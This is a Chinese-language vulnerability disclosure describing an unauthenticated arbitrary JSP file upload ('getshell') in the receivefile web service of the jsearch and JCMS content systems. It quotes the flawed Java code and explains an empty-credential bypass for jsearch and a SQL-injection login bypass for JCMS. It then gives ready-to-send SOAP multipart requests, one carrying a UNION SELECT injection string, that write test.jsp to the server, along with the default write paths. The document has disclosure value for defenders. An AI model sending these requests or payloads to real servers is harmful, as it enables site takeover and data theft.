### 简要描述:
任意类型文件上传,可getshell。影响到jact、jsearch、JCMS相关版本,不好一一统计。
### 详细说明:
受影响的系统版本是WebService中存在一个receivefile操作的,一般在wsInfo服务中。
(注:不同产品不同版本代码可能会有所不同)
0x1 jsearch
```
public String receivefile(String strLoginId, String strPwd, String strKey, DataHandler handler, String filename, int iState)
{
String result = "";
InputStream input = null;
FileOutputStream fos = null;
String str1;
try {
result = verifyUserAndPass(strLoginId, strPwd, strKey);
if (!(result.equals(""))) {
str1 = result;
return str1;
}
String path = Constants.getTempPath();
java.io.File dir = new java.io.File(path);
if (!(dir.exists())) {
try {
dir.mkdirs();
} catch (Exception e) {
str1 = setError("A00", "目录不存在");
if (input != null)
try {
input.close();
} catch (IOException localIOException2) {
}
if (fos != null)
try {
fos.close();
}
catch (IOException localIOException3)
{
}
return str1;
}
}
//关键代码从这里开始,可以看到handler和filename参数都是来自用户定义,从而可以向服务器写入任意文件。
input = handler.getInputStream();
fos = new FileOutputStream(new java.io.File(dir, filename));
byte[] buffer = new byte[4096];
int n = 0;
while ((n = input.read(buffer)) != -1) {
fos.write(buffer, 0, n);
}
if (iState == 1) {
boolean b = this.combination.combFile(path + filename, path, true);
if (!(b))
return setFileError("0", "合并文件出错");
}
} catch (Exception e) {
LogWriter.error("receivefile Error:" + e, WsInfo.class);
return setError("A00", e.toString());
} finally {
if (input != null)
try {
input.close();
} catch (IOException localIOException8) {
}
if (fos != null)
try {
fos.close();
}
catch (IOException localIOException9)
{
}
}
if (input != null)
try {
input.close();
} catch (IOException localIOException10) {
}
if (fos != null)
try {
fos.close();
}
catch (IOException localIOException11) {
}
return setFileError("1", "");
}
```
来看verifyUserAndPass代码:
```
private String verifyUserAndPass(String strLoginId, String strPwd, String strKey)
{
String result = "";
MD5 md5 = new MD5();
strLoginId = md5.decrypt(strLoginId, strKey);
strPwd = md5.decrypt(strPwd, strKey);
if (!(strLoginId.equals(Constants.getImplUserName()))) {
result = setError("A01", "");
}
else if (!(strPwd.equals(Constants.getImplePassword()))) {
result = setError("A02", "");
}
return result;
}
```
Constants.getImplUserName()和Constants.getImplepassword()的值默认都是””,md5.decrypt(“”.strKey)的结果为””,只要strLoginId和strPwd都设为空即可验证通过。
0x2 JCMS
JCMS中这个操作,代码有所不同,区别在于verifyUserAndPass:
```
private String verifyUserAndPass(String strLoginId, String strPwd, String strKey)
{
String error = "";
try {
String strCheck = this.infoImpl.checkUser(strLoginId, strPwd, strKey);
if (strCheck.equals("1"))
{
error = this.xmlformat.setError("A01", ""); break label147: }
if (strCheck.equals("2"))
{
error = this.xmlformat.setError("A02", ""); break label147: }
if (strCheck.equals("3"))
{
error = ""; break label147:
}
error = this.xmlformat.setError("A00", strCheck);
}
catch (Exception e)
{
LogWriter.error("verifyUserAndPass Error:" + e, WsInfo.class);
error = this.xmlformat.setError("A00", e.toString());
}
label147: return error;
}
}
```
checkUser跟下去最后到:
```
public int checkUser(String loginId, String strPwd, String strKey)
{
UserBLF uBLF = new UserBLF(this.strAppId);
Merp_Pub_UserEntity entity = new Merp_Pub_UserEntity();
entity.setVc_loginid(loginId); //此处是原样保存,后由getVc_loginid原样取出;
entity = uBLF.getEntity(entity);
if (entity == null) {
return 1;
}
if (!("".equals(strKey))) {
strPwd = md5decode(strPwd, strKey);
}
if ((entity.getVc_password().equals(strPwd)) && (!("".equals(strPwd)))) {
return 3;
}
return 2;
}
```
这个是jcms系统的老问题了,这个checkUser存在SQL注射,可被绕过,在Merp_Pub_UserEntity中:
```
public Merp_Pub_UserEntity getEntity(Merp_Pub_UserEntity entity)
{
if (entity == null)
return null;
try
{
String strSql = "SELECT c_id,vc_loginid,vc_password,vc_username,vc_usergroupid,vc_headship,vc_comptel,vc_compfax,vc_hometel,vc_mobile,vc_email,vc_qq,vc_msn,c_enable,vc_ip,c_accesstime,n_loginfail,c_failtime,c_alertflag,n_alertinterval,vc_usertype,i_defaultwebid ,i_age,c_sex,vc_address, vc_post,vc_pwdquestion,vc_pwdanswer,c_createtime,vc_firstspell,vc_userkey FROM merp_pub_user";
if (!("".equals(entity.getVc_loginid())))
strSql = strSql + " WHERE vc_loginid='" + entity.getVc_loginid() + "'"; //entity.getVc_loginid()取出loginid原值,产生SQL注入,语句执行结果可控。
else if (!("".equals(entity.getVc_username())))
strSql = strSql + " WHERE vc_username='" + entity.getVc_username() + "'";
else {
return null;
}
String[][] data = Manager.doQuery(this.strAppID, strSql);
Merp_Pub_UserEntity entity1 = null;
if ((data != null) && (data.length > 0)) {
entity1 = new Merp_Pub_UserEntity();
...
entity1.setVc_password(Convert.getValue(data[0][2]));//VC_password值可控
...
entity1.setVc_userkey(Convert.getValue(data[0][30]));
}
return entity1;
} catch (Exception e) {
LogWriter.error("getUserEntity Error:" + e, UserBLF.class); }
return null;
}
```
只要通过用户验证,其它地方和jsearch一样。
0x3 jact
jact的该操作又有所不同,区别还是在用户验证上,jact中最后查询用户名密码的时候是用hibernate预处理,目测不能绕过,只有提供正确用户名密码才能上传。
漏洞测试:
jsearch:
```
POST /jsearch/webservice/wsInfo HTTP/1.0
Content-Type: multipart/related; type="text/xml"; start="<CB69CE057274B576D4C44A9112AE8DE8>"; boundary="----=_Part_0_9532399.1399678337692"
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.2
Host: target.com
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 1084
------=_Part_0_9532399.1399678337692
Content-Type: text/xml; charset=UTF-8
Content-Transfer-Encoding: binary
Content-Id: <CB69CE057274B576D4C44A9112AE8DE8>
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<ns1:receivefile soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:ns1="http://target.com/jsearch/webservice/wsInfo">
<strLoginId xsi:type="xsd:string"></strLoginId>
<strPwd xsi:type="xsd:string"></strPwd>
<strKey xsi:type="xsd:string"></strKey>
<handler href="cid:1AA0D9D06D1918F13C495E8419BE26EB" xsi:type="ns2:DataHandler" xmlns:ns2="ns:FileUploadHandler"/>
<fileName xsi:type="xsd:string">test.jsp</fileName>
<iState xsi:type="xsd:int">0</iState>
</ns1:receivefile>
</soapenv:Body>
</soapenv:Envelope>
------=_Part_0_9532399.1399678337692
Content-Type: text/plain
Content-Transfer-Encoding: binary
Content-Id: <1AA0D9D06D1918F13C495E8419BE26EB>
<%="hello world!"%>
------=_Part_0_9532399.1399678337692--
```
jcms,区别在于strLoginId设为:A' union select NULL,NULL,'AEY=',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from merp_pub_user--,strPwd设为1,'AEY='解密后为1
```
POST /jcms/service/WsInfo HTTP/1.0
Content-Type: multipart/related; type="text/xml"; start="<CB69CE057274B576D4C44A9112AE8DE8>"; boundary="----=_Part_0_9532399.1399678337692"
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.2
Host: target.com
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 1156
------=_Part_0_9532399.1399678337692
Content-Type: text/xml; charset=UTF-8
Content-Transfer-Encoding: binary
Content-Id: <CB69CE057274B576D4C44A9112AE8DE8>
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<ns1:receivefile soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:ns1="http://target.com/jcms/service/wsInfo">
<strLoginId xsi:type="xsd:string">A' union select NULL,NULL,'AEY=',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from merp_pub_user--</strLoginId>
<strPwd xsi:type="xsd:string">1</strPwd>
<strKey xsi:type="xsd:string"></strKey>
<handler href="cid:1AA0D9D06D1918F13C495E8419BE26EB" xsi:type="ns2:DataHandler" xmlns:ns2="ns:FileUploadHandler"/>
<fileName xsi:type="xsd:string">test.jsp</fileName>
<iState xsi:type="xsd:int">0</iState>
</ns1:receivefile>
</soapenv:Body>
</soapenv:Envelope>
------=_Part_0_9532399.1399678337692
Content-Type: text/plain
Content-Transfer-Encoding: binary
Content-Id: <1AA0D9D06D1918F13C495E8419BE26EB>
<%="hello world!"%>
------=_Part_0_9532399.1399678337692--
```
本来想整个java版的客户端来操作,鼓捣了好久老出错。jsearch默认写入路径是~/jsearch/data/temp/test.jsp,jcms默认路径~/jcms/jcms_files/jcms1/年月/test.jsp。
### 漏洞证明:
jsearch:
[<img src="https://images.seebug.org/upload/201405/11064016426a6e1d70b6284d3a8be142d8a2217e.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/11064016426a6e1d70b6284d3a8be142d8a2217e.png)
jcms:
[<img src="https://images.seebug.org/upload/201405/11064030a207733eeb413bb0004174fd0a57aaaf.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/11064030a207733eeb413bb0004174fd0a57aaaf.png)
暂无评论